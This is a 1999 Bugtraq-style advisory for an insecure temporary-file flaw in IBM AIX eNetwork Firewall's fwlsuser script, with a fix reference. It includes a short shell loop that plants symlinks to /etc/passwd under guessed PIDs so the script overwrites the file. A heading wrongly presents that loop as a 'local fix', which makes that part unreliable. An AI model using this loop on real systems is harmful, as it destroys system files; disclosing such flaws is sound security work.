AIX eNetwork Firewall Insecure Temporary File Creation Vulnerabilities

Bugtraq ID:	287
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	May 25 1999 12:00AM
Updated:	May 25 1999 12:00AM
Credit:	This vulnerability was published in the BUGTRAQ mailing list by Paul Cammidge <[email protected]>. A followup message was posted by Marc Heuse <[email protected]>.
Vulnerable:	IBM AIX eNetwork Firewall 3.3 IBM AIX eNetwork Firewall 3.2
Not Vulnerable:

AIX eNetwork Firewall Insecure Temporary File Creation Vulnerabilities

IBM's eNetwork Firewall for AIX contains a number of vulnerability in scripts which manipulate files insecurely. When fwlsuser script is run it creates a temporary file called /tmp/fwlsuser.PID ( where PID is the process ID of the command being run ). If this file is created previously and is a link to any other file the output generated by the fwlsuser script will overwrite this linked file.

AIX eNetwork Firewall Insecure Temporary File Creation Vulnerabilities

x = 5000
while true

LOCAL FIX AS REPORTED BY ORIGINATOR:
ln -s /etc/passwd /tmp/fwlsuser.$x
# rm /tmp/fwlsuser.$x
let x=$x+1
echo $x
done
exit

AIX eNetwork Firewall Insecure Temporary File Creation Vulnerabilities

Solution:
The following APAR was opened on this issue at IBM:

APAR # IR39562

Currently the SecurityFocus staff are not aware of this APAR actually being available to the public. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

AIX eNetwork Firewall Insecure Temporary File Creation Vulnerabilities

References:

• AIX Fix Distribution Service (IBM)
  
• IBM Support Databases (IBM)